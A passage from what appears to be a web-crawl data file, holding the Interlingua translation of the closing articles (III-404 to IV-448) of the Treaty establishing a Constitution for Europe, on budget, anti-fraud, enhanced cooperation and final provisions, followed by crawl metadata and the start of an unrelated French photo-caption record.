concludite, le Presidente del Parlamento Europee constata que le lege europee establiente le budget es definitivemente adoptate.\n10. Cata institution exerce le poteres que lo es attribuite per le presente articulo in le respecto del Constitution e del actos adoptate in virtute de iste, in particular in materia de ressources proprie del Union e de equilibrio del receptas e dispensas.ARTICULO III-405\n1. Si, al initio de un exercitio budgetari annual, le lege europee establiente le budget non ha essite definitivemente adoptate, le dispensas pote esser effectuate mensualmente, in conformitate con le lege europee secundo le capitulos mentionate in le articulo III-412, intra le limite del dece-secunde parte del creditos inscripte in le capitulo concernite del budget del anno financiari precedente, sin poter exceder le dece-secunde parte del creditos mentionate in le mesme capitulo del projecto de budget.\n2. Le Consilio, per proposition del Commission e in le respecto del altere conditiones mentionate in le paragrapho 1, pote adoptar un decision europee autorisante dispensas que excede le dece-secunde parte, conformemente con le lege europee mentionate in le articulo III-412. Illo lo transmitte immediatemente al Parlamento Europee. Iste decision europee previde le mesuras necessari in materia de ressources pro le application del presente articulo in le respecto del leges europee mentionate in le articulo I-54(3 e 4). Iste decision entra in vigor trenta dies post su adoption si, in iste termino, le Parlamento Europee, decidente per le majoritate del membros que lo compone, non decide de reducer iste dispensas.ARTICULO III-406\nIn le conditiones determinate per le lege europee mentionate in le articulo III-412, le creditos que non concerne dispensas de personal e que non es utilisate al fin del exercitio budgetari, pote esser transferite, ma solo al anno sequente.\nLe creditos es specificate sub differente capitulos que gruppa le dispensas secundo lor natura o lor destination, e subdividite, conformemente con le lege europee mentionate in le articulo III-412.\nLe dispensas:\n- del Parlamento Europee,\n- del Consilio Europee e del Consilio,\n- del Commission, e\n- del Tribunal de Justitia del Union Europee\nfigura in sectiones differente del budget, sin prejudicio de un regime special pro certe dispensas commun.\nSECTION 3\nEXECUTION DEL BUDGET E APPROBATION DEL GESTION\nARTICULO III-407\nLe Commission executa le budget in cooperation con le Statos membros, in conformitate con le lege europee mentionate in le articulo III-412, sub su proprie responsabilitate e intra le limites del creditos autorisate, conformemente con le principio del bon gestion financiari. Le Statos membros coopera con le Commission pro garantir que le creditos es utilisate conformemente con iste mesme principio.\nLe lege europee mentionate in le articulo III-412 establi le obligationes de controlo e de expertise contabile del Statos membros in le execution del budget assi como le responsabilitates que resulta de illo.\nIste lege establi le responsabilitates e le modalitates particular secundo le quales cata institution participa in le execution de su proprie dispensas. Al interior del budget, le Commission pote, intra le limites e conditiones mentionate in le articulo III-412 del lege europee, transferer creditos inter capitulos o inter subdivisiones.ARTICULO III-408\nLe Commission presenta cata anno al Parlamento Europee e al Consilio le contos del anno financiari passate relative al operationes del budget. In plus, illo los communica un balancio financiari del activo e passivo del Union.\nLe Commission presenta equalmente al Parlamento Europee e al Consilio un reporto de evalutation del financias del Union fundate super le resultatos obtenite in particular in relation con le indicationes date per le Parlamento Europee e le Consilio in virtute del articulo III-409.ARTICULO III-409\n1. Le Parlamento Europee, a recommendation del Consilio, approba le gestion del Commission in le execution del budget. Pro iste effecto, illo examina, post le Consilio, le contos, le balancio financiari e le reporto de evalutation mentionate in le articulo III-408, le reporto annual del Tribunal de Contos, juncto con le responsas del institutiones controlate al observationes del Tribunal de Contos, le declaration de fidibilitate mentionate in le secunde parte del paragrapho 1 del articulo III-384, assi como le reportos special pertinente del Tribunal de Contos.\n2. Ante de approbar le gestion del Commission, o pro qualcunque altere fin que se trova in le quadro del exercitio del attributiones de iste in materia de execution del budget, le Parlamento Europee pote peter audir le Commission relative al execution del dispensas o le functionamento del systemas de controlo financiari. Le Commission submitte al Parlamento Europee, per le requesta de iste ultime, tote le information necessari.\n3. Le Commission face tote lo que es necessari pro sequer le observationes que accompania le decisiones de approbation del gestion e le altere observationes del Parlamento Europee concernente le execution del dispensas, assi como le commentarios que accompania le recommendationes de approbation del gestion adoptate per le Consilio.\n4. Per requesta del Parlamento Europee o del Consilio, le Commission informa re le mesuras adoptate in le luce de iste observationes e commentarios, e in particular re le instructiones date al servicios cargate del execution del budget. Iste reportos es equalmente transmittite al Tribunal de Contos.\nSECTION 4\nDISPOSITIONES COMMUN\nARTICULO III-410\nLe quadro financiari pluriannual e le budget annual es establite in euros.ARTICULO III-411\nLe Commission pote, sub reserva de informar re isto le autoritates competente del Statos membros concernite, transferer in le moneta de un del Statos membros, le activos que illo possede in le moneta de un altere Stato membro, in le mesura necessari pro le utilisation de iste activos al fines mentionate in le Constitution. Le Commission evita, in le mesura de lo possibile, effectuar tal transferentias, si illo possede activos disponibile o realisabile in le monetas que illo besonia.\nLe Commission communica con cata un del Statos membros concernite per le intermediation del autoritate que illo designa. In le execution del operationes financiari le Commission recurre al banca de emission del Stato membro concernite o a un altere institution financiari autorisate per iste.ARTICULO III-412\n1. Le lege europee establi:\na) le regulas financiari que fixa in particular le modalitates relative al establimento e execution del budget, e al rendition e verification del contos;\nb) le regulas que organisa le controlo del responsabilitate del agentes financiari, in particular del ordinatores e del contabiles.\nLe lege europee es adoptate post consultation del Tribunal del contos.\n2. Le Consilio adopta, per proposition del Commission, un regulamento europee que fixa le modalitates e le procedura secundo le quales le receptas budgetari mentionate in le regime del ressources proprie del Union es mittite al disposition del Commission, assi como le mesuras a applicar pro facer fronte al eventual necessitates del Tribunal de Contos. Le Consilio decide post consultation del Parlamento Europee e del Tribunal del Contos.\n3. Le Consilio decide per unanimitate usque al 31 de decembre 2006 in tote le casos mentionate in le presente articulo.ARTICULO III-413\nLe Parlamento Europee, le Consilio e le Commission velia le disponibilitate del medios financiari que permitte al Union complir su obligationes juridic verso tertie partes.ARTICULO III-414\nPer initiativa del Commission, incontros regular del Presidentes del Parlamento, del Consilio e del Commission es convocate, in le quadro del proceduras budgetari mentionate in le presente capitulo. Le Presidentes adopta tote le mesuras necessari pro promover le concertation e le approximation del positiones del institutiones que illes preside, a fin de facilitar le execution del presente capitulo.\nSECTION 5\nLUCTA CONTRA LE FRAUDE\nARTICULO III-415\n1. Le Union e le Statos membros combatte le fraude e tote altere activitate illegal que lede le interesses financiari del Union per medio de mesuras prendite conformemente con le presente articulo. Iste mesuras es dissuasive e offere un protection efficace in le Statos membros e in le institutiones, organos e organismos del Union.\n2. Pro combatter le fraude que lede le interesses financiari de Union, le Statos membros prende le mesme mesuras que los que illo prende pro combatter le fraude que lede lor proprie interesses financiari.\n3. Sin prejudicio de altere dispositiones del Constitution, le Statos membros coordina lor action pro proteger le interesses financiari del Union contra le fraude. Pro iste fin, illos organisa, con le Commission, un collaboration stricte e regular inter le autoritates competente.\n4. Le lege o lege-quadro europee establi le mesuras necessari in le dominios del prevention del fraude que lede le interesses financiari del Union, e del lucta contra iste fraude in vista de offerer un protection efficace e equivalente in le Statos membros assi como in le institutiones, organos e organismos del Union. Illo es adoptate post consultation del Tribunal de Contos.\n5. Le Commission, in cooperation con le Statos membros, presenta cata anno al Parlamento Europee e al Consilio un reporto re le mesuras prendite pro applicar le presente articulo.\nCAPITULO III\nCOOPERATIONES REINFORTIATE\nARTICULO III-416\nLe cooperationes reinfortiate respecta le Constitution e le derecto del Union. Illos pote prejudicar ni le mercato interior ni le cohesion economic, social e territorial. Illos pote constituer ni un obstaculo ni un discrimination pro le intercambios inter le Statos membros, ni provocar distorsiones de concurrentia inter illos.ARTICULO III-417\nLe cooperationes reinfortiate respecta le competentias, le derectos e le obligationes del Statos membros que non participa in illos. Istes non es un obstaculo a lor application per le Statos membros que participa in illos.ARTICULO III-418\n1. Al momento del establimento, le cooperationes reinfortiate es aperte a tote le Statos membros, sub reserva de respectar le conditiones eventual de participation fixate per le decision europee de autorisation. Illos lo es equalmente a qualcunque altere momento, sub reserva de respectar, ultra le conditiones eventual mentionate, le actos jam adoptate in iste quadro. Le Commission e le Statos membros participante in un cooperation reinfortiate essaya promover le participation del plus grande numero possibile de Statos membros.\n2. Le Commission e, al occurrentia, le Ministro de Affaires Exterior del Union, informa periodicamente le Parlamento Europee e le Consilio re le evolution del cooperationes reinfortiate.ARTICULO III-419\n1. Le Statos membros que desira instaurar inter se un cooperation reinfortiate in un del dominios mentionate in le Constitution, con exception del dominios de competentia exclusive e del politica exterior e de securitate commun, dirige al Commission un requesta in le qual es specificate le dominio de application e le objectivos del cooperation reinfortiate previste. Le Commission pote presentar al Consilio un proposition in iste senso. Si le Commission non presenta un proposition, illo communica re isto le Statos membros concernite.\nLe autorisation pro initiar un cooperation reinfortiate es concedite per un decision europee del Consilio que decide per proposition del Commission e post approbation del Parlamento Europee.\n2. Le requesta del Statos membros que desira instaurar inter se un cooperation reinfortiate in le quadro del politica exterior e de securitate commun es dirigite al Consilio. Illo es transmittite al Ministro de Affaires Exterior del Union, qui exprime su aviso re le coherentia del cooperation reinfortiate previste con le politica exterior e de securitate commun del Union, assi como al Commission, que exprime su aviso, in particular re le coherentia del cooperation reinfortiate previste con le altere politicas del Union. Illo es equalmente transmittite al Parlamento Europee pro information.\nLe autorisation de initiar un cooperation reinfortiate es concedite per un decision europee del Consilio, que decide per unanimitate.ARTICULO III-420\n1. Cata Stato membro que desira participar in un cooperation reinfortiate jam existente in un del dominios mentionate in le articulo III-419(1), notifica su intention al Consilio e al Commission.\nLe Commission, in un termino de quatro menses a partir del data de reception del notification, confirma le participation del Stato membro in question. Illo constata, in le occurrentia, que le conditiones de participation es complite e adopta le mesuras transitori necessari pro le application del actos jam adoptate in le quadro del cooperation reinfortiate.\nTotevia, si le Commission considera que le conditiones de participation non es complite, illo indica le dispositiones a adoptar pro complir los e fixa un termino pro le reexamine del requesta. Al expiration de iste termino, illo reexamina le requesta in conformitate con le procedura mentionate in le secunde parte del paragrapho. Si le Commission considera que le conditiones de participation continua non esser complite, le Stato membro in question pote submitter le question al Consilio, que decide re le requesta. Le Consilio decide conformemente con le articulo I-44(3). Illo pote equalmente adoptar, per proposition del Commission, le mesuras transitori mentionate in le secunde parte del paragrapho.\n2. Cata Stato membro que desira participar in un cooperation reinfortiate jam existente in le quadro del politica exterior e de securitate commun notifica su intention al Consilio, al Ministro de Affaires Exterior del Union e al Commission.\nLe Consilio confirma le participation del Stato membro in question post consultation del Ministro de Affaires Exterior del Union e post haber constatate, in le occurrentia, que le conditiones de participation es complite. Le Consilio, per proposition del Ministro de Affaires Exterior del Union, pote equalmente adoptar le mesuras transitori necessari pro le application del actos jam adoptate in le quadro del cooperation reinfortiate. Totevia, si le Consilio considera que le conditiones de participation non es complite, illo indica le dispositiones a adoptar pro complir los e fixa un termino pro le reexamine del requesta de participation.\nPro le fines del presente paragrapho, le Consilio decide per unanimitate e conformemente con le articulo I-44(3).ARTICULO III-421\nLe dispensas resultante del application de un cooperation reinfortiate, diverse del dispensas administrative que es destinate al institutiones, es al carga del Statos membros participante, salvo si le Consilio, decidente per unanimitate de tote su membros post consultation del Parlamento Europee, decide alteremente.ARTICULO III-422\n1. Quando un disposition del Constitution que pote esser applicate in le quadro de un cooperation reinfortiate establi que le Consilio decide per unanimitate, le Consilio, decidente per unanimitate conformemente con le modalitates mentionate in le articulo I-44(3), pote adoptar un decision europee que establi que illo decide con majoritate qualificate.\n2. Quando un disposition del Constitution, que pote esser applicate in le quadro de un cooperation reinfortiate, establi que le Consilio adopta leges o leges-quadros europee in conformitate con un procedura legislative special, le Consilio, decidente per unanimitate conformemente con le modalitates mentionate in le articulo I-44(3), pote adoptar un decision europee que establi que illo decide in conformitate con le procedura legislative ordinari. Le Consilio decide post consultation del Parlamento Europee.\n3. Le paragraphos 1 e 2 non es applicate al decisiones que ha implicationes militar o in le dominio del defensa.ARTICULO III-423\nLe Consilio e le Commission assecura le coherentia del actiones interprendite in le quadro de un cooperation reinfortiate e le coherentia de iste actiones con le politicas del Union, e coopera pro iste scopo.\nTITULO VII\nDISPOSITIONES COMMUN\nARTICULO III-424\nTenente conto del situation socio-economic structural de Guadaloupe, le Guyana Francese, Martinica, le Reunion, le Azores, Madeira e le Insulas Canarias, que es aggravate per lor grande distantia, insularitate, superficie reducite, le relievo e le climate difficile, lor dependentia economic de un numero reducite de productos, factores cuje persistentia e combination noce gravemente a lor disveloppamento, le Consilio, per proposition del Commission, adopta leges, leges-quadros, regulamentos e decisiones europee orientate, in particular, a establir le conditiones de application del Constitution a iste regiones, includite le politicas commun. Illo decide post consultation del Parlamento Europee.\nLe actos mentionate in le prime parte del paragrapho concerne in particular le politicas doanal e commercial, le politica fiscal, le zonas franc, le politicas re le agricultura e le pisca, le conditiones de approvisionamento de materias prime e de benes de consumo de prime necessitate, le adjutas de Stato e le conditiones de accesso al fundos con scopos structural e al programmas horizontal del Union.\nLe Consilio adopta le actos mentionate in le prime paragrapho tenente conto del characteristicas e exigentias particular del regiones ultraperipheric, sin nocer al integritate e al coherentia del ordinamento juridic del Union, includite le mercato interior e le politicas commun.ARTICULO III 425\nLe Constitution prejudica in nulle maniera le regime del proprietate in le Statos membros.ARTICULO III-426\nIn cata un del Statos membros, le Union possede le plus ample capacitate juridic que le legislationes national recognosce al personas juridic. Illo pote, in particular, acquirer o alienar benes mobile o immobile e comparer in justitia. Pro isto, illo es representate per le Commission. Nonobstante, le Union es representate per cata un del institutiones, in virtute de lor autonomia administrative, pro le questiones relative a lor functionamento.ARTICULO III-427\nLe lege europee fixa le Statuto del functionarios del Union e le regime applicabile al altere agentes del Union. Illo es adoptate post consultation del institutiones concernite.ARTICULO III-428\nPro le complimento del cargas que es confidite a illo, le Commission pote colliger tote typo de informationes e proceder a tote le verificationes necessari, intra le limites e conditiones mentionate in un regulamento o decision europee adoptate per le Consilio a majoritate simple.ARTICULO III-429\n1. Sin prejudicio del articulo 5 del protocollo fixante le Statuto del Systema Europee de bancas central e del Banca Central Europee, le lege o lege-quadro europee fixa le mesuras pro le establimento de statisticas, quando isto es necessari pro le complimento del activitates del Union.\n2. Le establimento del statisticas respecta le impartialitate, fidibilitate, objectivitate, independentia scientific, efficacia, rentabilitate e le secreto del informationes statistic. Illo non debe causar cargas excessive pro le operatores economic.ARTICULO III-430\nLe membros del institutiones del Union, le membros del Committees, assi como le functionarios e agentes del Union, es obligate, mesmo post le cessation de lor functiones, a non divulgar le informationes, que, per lor natura, es protegite per le secreto professional, in particular le informationes relative al interprisas e concernente lor relationes commercial o le elementos de lor precios.ARTICULO III-431\nLe responsabilitate contractual del Union es regite per le derecto applicabile al contracto concernite.\nIn materia de responsabilitate extracontractual, le Union debe conformemente con le principios general commun al derectos del Statos membros, reparar le damnos causate per su institutiones o per su agentes in le exercitio de lor functiones.\nNonobstante lo que es disponite in le secunde parte del paragrapho, le Banca Central Europee debe, conformemente con le principios general commun al derectos del Statos membros, reparar le damnos causate per illo ipse o per su agentes in le exercitio de lor functiones.\nLe responsabilitate personal del agentes ante le Union es regite per le dispositiones fixante lor Statuto o le regime que es applicabile a illes.ARTICULO III-432\nLe sede del institutiones del Union es fixate de accordo commun per le governamentos del Statos membros.ARTICULO III-433\nLe Consilio adopta per unanimitate un regulamento europee fixante le regime linguistic del institutiones del Union, sin prejudicio del Statuto del Tribunal de Justitia del Union Europee.ARTICULO III-434\nLe Union gaude in le territorio del Statos membros del privilegios e immunitates necessari pro le complimento de su mission intra le conditiones establite in le protocollo re le privilegios e immunitates del Union Europee.ARTICULO III-435\nLe Constitution non affecta le derectos e obligationes que resulta de conventiones concludite ante le 1 de januario 1958 o, pro le Statos que ha adherite, ante le data de lor adhesion, inter un o plure Statos membros, de un parte, e un o plure Statos tertie, de altere parte.\nIn le mesura in le qual iste conventiones es incompatibile con le Constitution, le Stato membro o le Statos membros in question recurre a tote le medios appropriate pro eliminar le incompatibilitates constatate. In le caso necessari, le Statos membros se presta adjuta mutual pro attinger iste scopo e adopta, in le occurrentia, un position commun.\nQuando illos applica le conventiones mentionate in le prime parte del paragrapho, le Statos membros tene conto del facto que le avantages concedite in le Constitution pro cata Stato membro es parte integrante del Union e es, per iste facto, inseparabilemente ligate al creation de institutiones dotate de attributiones per le Constitution e al concession de avantages identic per tote le altere Statos membros.ARTICULO III-436\n1. Le Constitution non obsta al regulas sequente:\na) Necun Stato membro es obligate a facilitar information cuje divulgation illo considera contrari al interesses essential de su securitate.\nb) tote Stato membro pote prender le mesuras que illo considera necessari pro le protection del interesses essential de su securitate e que se refere al production o al commercio de armas, de munitiones e de material de guerra; iste mesuras non debe alterar le conditiones del concurrentia in le mercato interior relative al productos non destinate a fines specificamente militar.\n2. Le Consilio pote adoptar, per unanimitate, per proposition del Commission, un decision europee que modifica le lista del 15 de april 1958 del productos al quales se applica le dispositiones del littera b) del paragrapho 1.\nPARTE IV\nDISPOSITIONES GENERAL E FINAL\nARTICULO IV-437\nAbrogation del tractatos anterior\n1. Le presente tractato establiente un Constitution pro Europa abroga le tractato instituente le Communitate Europee e le Tractato del Union Europee, assi como, intra le conditiones mentionate in le protocollo relative al actos e tractatos que ha completate o modificate le tractato instituente le Communitate Europee e le Tractato del Union Europee, le actos e tractatos que los ha completate o modificate, sin prejudicio del paragrapho 2 del presente articulo.\n2. Resta abrogate le Tractatos relative al adhesion:\na) del Regno de Danmark, de Irlanda e del Regno Unite de Grande Britannia e Irlanda del Nord,\nb) del Republica Hellenic,\nc) del Regno de Espania e del Republica Portugese,\nd) del Republica de Austria, del Republica de Finlandia e del Regno de Svedia, e\ne) del Republica Tchec, del Republica de Estonia, del Republica de Cypro, del Republica de Lettonia, del Republica de Lituania, del Republica de Hungaria, del Republica de Malta, del Republica de Polonia, del Republica de Slovenia e del Republica Slovac.\nNonobstante:\n- Le dispositiones del Tractatos mentionate in le litteras a) a d) que es reprendite o mentionate in le Protocollo re le Tractato e acto de adhesion del Regno de Danmark, de Irlanda e del Regno Unite de Grande Britannia e Irlanda del Nord, del Republica Hellenic, del Regno de Espania e del Republica Portugese, del Republica de Austria, del Republica de Finlandia e del Regno de Svedia, continua esser in vigor e conserva lor effectos juridic de conformitate con iste Protocollo;\n- le dispositiones del Tractato mentionate in le littera e) que es reprendite o mentionate in le Protocollo re le tractato e acto de adhesion del Republica Tchec, del Republica de Estonia, del Republica de Cypro, del Republica de Lettonia, del Republica de Lituania, del Republica de Hungaria, del Republica de Malta, del Republica de Polonia, del Republica de Slovenia e del Republica Slovac, continua esser in vigor e conserva lor effectos juridic de conformitate con iste Protocollo.ARTICULO IV-438\nSuccession e continuitate juridic\n1. Le Union Europee create per le presente Tractato succede al Union Europee instituite per le Tractato del Union Europee e al Communitate Europee.\n2. Sin prejudicio del articulo IV-439, le institutiones, organos e organismos existente al data de entrata in vigor del presente Tractato exerce, in lor composition a ille data, lor attributiones in le senso del presente Tractato, tanto longe que non se ha adoptate nove dispositiones in application de iste Tractato o usque al fin de lor mandato.\n3. Le actos del institutiones, organos e organismos, adoptate super le base del tractatos e actos abrogate per le articulo IV-437, continua esser in vigor. Lor effectos juridic se mantene tanto longe que iste actos non habera essite abrogate, annullate o modificate in application del presente Tractato. Le mesmo occurre con le conventiones concludite inter Statos membros super le base del Tractatos e actos abrogate per le articulo IV-437.\nLe altere elementos de acquesto communitari e del Union existente in le momento del entrata in vigor del presente Tractato, in particular le accordos interinstitutional, le decisiones e accordos adoptate per le representantes del governamentos del Statos membros, intra le Consilio, le accordos concludite per le Statos membros relative al functionamento del Union o del Communitate o presentante un ligamine con le action de istes, le declarationes, includite illos facite in le quadro de conferentias intergovernamental, assi como le resolutiones o altere prisas de position del Consilio Europee e del Consilio, e illos relative al Union o al Communitate, que ha essite adoptate de commun accordo per le Statos membros, es equalmente preservate tanto longe que illos non habera essite supprimite o modificate.\n4. Le jurisprudentia del Tribunal de Justitia del Communitates Europee e del Tribunal de Prime Instantia relative al interpretation e al application del Tractatos e actos abrogate per le articulo IV-437, assi como le actos e conventiones adoptate pro lor application, continua esser, mutatis mutandis, le fonte del interpretation del derecto del Union e, in particular, del dispositiones comparabile del Constitution.\n5. Le continuitate del proceduras administrative e jurisdirectional initiate ante le data de entrata in vigor del presente Tractato es garantite intra le respecto al Constitution. Le institutiones, organos e organismos responsabile de iste proceduras adopta tote le mesuras appropriate pro iste effecto.ARTICULO IV-439\nDispositiones transitori relative a certe institutiones\nLe dispositiones transitori relative al composition del Parlamento Europee, al definition del majoritate qualificate in le Consilio Europee o in le Consilio, includite le casos in le quales non tote le membros participa in le votation, e in le composition del Commission, includite le Ministerio de Affaires Exterior del Union, es establite in le Protocollo re le dispositiones transitori relative al institutiones e organos del Union.ARTICULO IV-440\nCampo de application territorial\n1. Le presente Tractato se applica al Regno de Belgica, al Republica Tchec, al Regno de Danmark, al Republica Federal de Germania, al Republica de Estonia, al Republica Hellenic, al Regno de Espania, al Republica Francese, a Irlanda, al Republica Italian, al Republica de Cypro, al Republica de Lettonia, al Republica de Lituania, al Granducato de Luxemburg, al Republica de Hungaria, al Republica de Malta, al Regno del Paises Basse, al Republica de Austria, al Republica de Polonia, al Republica Portugese, al Republica de Slovenia e al Republica Slovac, al Republica de Finlandia, al Regno de Svedia e al Regno Unite de Grande Britannia e Irlanda del Nord.\n2. Le presente Tractato se applica a Guadaloupe, le Guyana Francese, Martinica, le Reunion, le Azores, Madeira e le Insulas Canarias conformemente con le articulo III-424.\n3. Le paises e territorios de ultramar que figura in le lista in le annexo II es le objecto del regime special de association definite in le parte III, titulo IV.\nLe presente Tractato non se applica al paises e territorios de ultramar que mantene relationes particular con le Regno Unite de Grande Britannia e Irlanda del Nord que non es enumerate in iste lista.\n4. Le presente Tractato se applica al territorios europee del quales un Stato membro assume le relationes exterior.\n5. Le presente Tractato se applica al Insulas Aland con le exceptiones que figura initialmente in le Tractato mentionate in le articulo IV-437(2)(d), e que se reprende in le titulo V, section 5 del Protocollo relative al Tractatos e actos de adhesion del Regno de Danmark, del Republica de Irlanda e del Regno Unite de Grande Britannia e de Irlanda del Nord, del Republica Hellenic, del Regno de Espania e del Republica Portugese, e del Republica de Austria, del Republica de Finlandia e del Regno de Svedia.\nNonobstante lo que es disponite in le paragraphos 1 a 5:\na) le presente Tractato non se applica al Insulas Feroe;\nb) le presente Tractato non se applica a Akrotiri e Dhekelia, zonas de soveranitate del Regno Unite de Grande Britannia e de Irlanda del Nord in Cypro, que in le mesura necessari pro assecurar le application del regime establite initialmente in le Protocollo relative al zonas de soveranitate del Regno Unite de Grande Britannia e de Irlanda del Nord in Cypro annexate al acto de adhesion que es un parte integrante del Tractato mentionate in le articulo IV-437(2)(e), e que se reprende in le parte II, titulo III, del Protocollo relative al Tractato e acto de adhesion del Republica Tchec, del Republica de Estonia, del Republica de Cypro, del Republica de Lettonia, del Republica de Lituania, del Republica de Hungaria, del Republica de Malta, del Republica de Polonia, del Republica de Slovenia e del Republica Slovac;\nc) le presente Tractato se applica al Insulas del Canal e al insula Man solo in le mesura necessari pro assecurar le application del regime establite initialmente pro iste insulas per le Tractato mentionate in le articulo IV-437(2)(a), e que se reprende in le titulo II, section 3, del Protocollo relative al Tractatos e actos de adhesion del Regno de Danmark, del Republica de Irlanda e del Regno Unite de Grande Britannia e de Irlanda del Nord, del Republica de Espania e del Republica Portugese, e del Republica de Austria, del Republica de Finlandia e del Regno de Svedia.\n7. Le Consilio Europee, per initiativa del Stato membro concernite, pote adoptar un decision europee que modifica le Statuto re le Union de un pais o territorio danese, francese o nederlandese mentionate in le paragraphos 2 e 3. Le Consilio Europee decide per unanimitate, post consultation del Commission.ARTICULO IV-441\nUniones regional\nLe dispositiones del presente Tractato non obsta al existentia e perfectionamento del uniones regional inter Belgica e Luxemburg, assi como inter Belgica, Luxemburg e le Paises Basse, in le mesura in le qual le objectivos de iste uniones regional non es attingite in application de iste Tractato.ARTICULO IV-442\nProtocollos e annexos\nLe Protocollos e annexos del presente Tractato forma parte integrante de iste Tractato.ARTICULO IV-443\nProcedura de revision ordinari\n1. Le Governamento de qualcunque Stato membro, le Parlamento Europee o le Commission pote presentar al Consilio projectos de revision del presente Tractato. Iste projectos es transmittite per le Consilio Europee e notificate al parlamentos national.\n2. Si le Consilio Europee, post consultation del Parlamento Europee e del Commission, adopta per majoritate simple un decision favorabile al examine del modificationes proponite, le presidente del Consilio Europee convoca un Convention componite de representantes del parlamentos national, del chefes de Stato o de governamento del Statos membros, del Parlamento Europee e del Commission. Le Banca Central Europee es equalmente consultate in le casos de modificationes institutional in le dominio monetari.\nLe Convention examina le projectos de revision e adopta per consenso un recommendation a un Conferentia del representantes del Governamentos del Statos membros secundo lo que es disponite in le paragrapho 3.\nLe Consilio pote decider per majoritate simple, post approbation del Parlamento Europee, non convocar un Convention quando le importantia del modificationes non lo justifica. In iste ultime caso, le Consilio Europee establi le mandato pro un Conferentia del representantes del Governamentos del Statos membros.\n3. Un Conferentia del representantes del Governamentos del Statos membros es convocate per le Presidente del Consilio con le fin de arrivar de accordo commun al modificationes del presente Tractato.\nLe modificationes entra in vigor post haber essite ratificate per tote le Statos membros conformemente con lor regulas constitutional respective.\n4. Si al fin de un termino de duo annos a partir del signatura del tractato modificante le presente tractato, le quatro quintos del Statos membros ha ratificate iste tractato e si un o plure Statos membros ha incontrate difficultates pro proceder a su ratification, le question es submittite al Consilio Europee.ARTICULO IV-444\nProcedura de revision simplificate\n1. Quando le Parte III dispone que le Consilio decide per unanimitate in un dominio o in un caso determinate, le Consilio Europee pote adoptar un decision europee que autorisa le Consilio a decider per majoritate qualificate in iste dominio o iste caso.\nLe presente paragrapho non se applica al decisiones que ha implicationes militar o in le dominio del defensa.\n2. Quando le Parte III dispone que leges o leges-quadros europee es adoptate per le Consilio conformemente con un procedura legislative special, le Consilio Europee pote adoptar un decision europee que autorisa le adoption de iste leges o leges-quadros conformemente con le procedura legislative ordinari.\n3. Qualcunque initiativa prendite per le Consilio Europee super le base del paragraphos 1 o 2 es transmittite al parlamentos national. In caso de opposition de un parlamento national notificate in un termino de sex menses post iste transmission, le decision europee mentionate in le paragraphos 1 e 2 non es adoptate. In caso de opposition, le Consilio Europee pote adoptar iste decision.\nPro le adoption del decisiones europee mentionate in le paragraphos 1 e 3, le Consilio Europee decide per unanimitate, post approbation del Parlamento, que se pronuncia per majoritate del membros que lo compone.ARTICULO IV-445\nProcedura de revision simplificate concernente le politicas e actiones interne del Union\n1. Le Governamento de qualcunque Stato membro, le Parlamento Europee o le Commission pote presentar al Consilio Europee projectos de revision del totalitate o de un parte del dispositiones del Parte III, titulo III, relative al politicas e actiones interne del Union.\n2. Le Consilio Europee pote adoptar un decision europee modificante le totalitate o un parte del dispositiones del Parte III, titulo III. Le Consilio Europee decide per unanimitate, post consultation del Parlamento Europee e del Commission, assi como del Banca Central Europee in le caso de modificationes institutional in le dominio monetari.\nIste decision europee entra in vigor solo post su approbation per le Statos membros, conformemente con lor regulas constitutional respective.\n3. Le decision europee mentionate in le paragrapho 2 non pote augmentar le competentias attribuite al Union in le presente Tractato.ARTICULO IV-446\nDuration\nLe presente Tractato es concludite pro un duration illimitate.ARTICULO IV-447\nRatification e entrata in vigor\n1. Le presente Tractato es ratificate per le Alte Partes Contractante, conformemente con lor regulas constitutive respective. Le instrumentos de ratification es deponite presso le governamento del Republica Italian.\n2. Le presente Tractato entra in vigor le 1 de novembre 2006, a condition que tote le instrumentos de ratification ha essite deponite, o si isto non es le caso, le prime die del secunde mense sequente le deposito del instrumento de ratification del ultime Stato signatario que compli iste formalitate.ARTICULO IV-448\nTextos authentic e traductiones\n1. Le presente Tractato, redigite in un exemplar unic, in linguas german, anglese, danese, espaniol, estonian, francese, finnese, grec, hungare, irlandese, italian, letton, lituan, maltese, nederlandese, polonese, portugese, slovac, sloven, svedese e tchec, cuje textos in cata un de iste linguas es equalmente authentic, essera deponite in le archivos del Governamento Italian, que remitte un copia certificate conforme a cata un del Governamentos del altere Statos signatarios.\n2. Le presente Tractato pote esser traducite in qualcunque altere lingua determinate per le Statos membros inter illos que, in virtute del ordine constitutional de iste Statos membros, ha le statuto de lingua official in le totalitate o in un parte de lor territorio. Le Stato membro concernite facilita un copia certificate de iste traductiones, que essera deponite in le archivos del Consilio.\nIN FIDEM, le plenipotentiarios subsignate subscribe le presente Tractato.\nFacite in ..........., le ..........\nLe Union Mundial pro Interlingua\nhttp:\/\/www.interlingua.com","id":"","dump":"CC-MAIN-2020-29","url":"https:\/\/www.interlingua.com\/documentos\/tractato\/","date":"2020-07-14T02:28:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593657147917.99\/warc\/CC-MAIN-20200714020904-20200714050904-00596.warc.gz","language":"ina","language_score":0.9998150468,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"ina_Latn_score\": 0.999815046787262}","num_words":74450,"character_repetition_ratio":0.133,"word_repetition_ratio":0.084,"special_characters_ratio":0.182,"stopwords_ratio":0.018,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":630.5,"cluster_detection":-1} +{"text":"Prologue 2018 photos Confidentialité Photos de Hophra Prologue 30092018_HG1 Prologue 30092018_HG2 Photos de Freddy Prologue 30092018_FL1 Prologue 30092018_FL2 Prologue 30092018_FL3 Prologue 30092018_FL4 Prologue 30092018_FL5 Prologue 30092018_FL6 Prologue 30092018_FL7 Prologue 30092018_FL8 Prologue 30092018_FL9 Prologue 30092018_FL10 Prologue 30092018_FL11 Prologue 30092018_FL12 Prologue 30092018_FL13 Prologue 30092018_FL14 Prologue 30092018_FL15 Prologue 30092018_FL16 Prologue 30092018_FL17 Prologue 30092018_FL18 Prologue 30092018_FL19 Prologue 30092018_FL20 Prologue 30092018_FL21 Prologue 30092018_FL22 Photos de Francine Prologue 30092018_FD1 Prologue 30092018_FD2 Prologue 30092018_FD3 Prologue 30092018_FD4 Prologue 30092018_FD5 Prologue 30092018_FD6 Prologue 30092018_FD7 Prologue 30092018_FD8 Prologue 30092018_FD9 Prologue 30092018_FD10 Prologue 30092018_FD11 Prologue 30092018_FD12 Prologue 30092018_FD13 Prologue 30092018_FD14 Prologue 30092018_FD15 Prologue 30092018_FD16 Prologue 30092018_FD17 Prologue 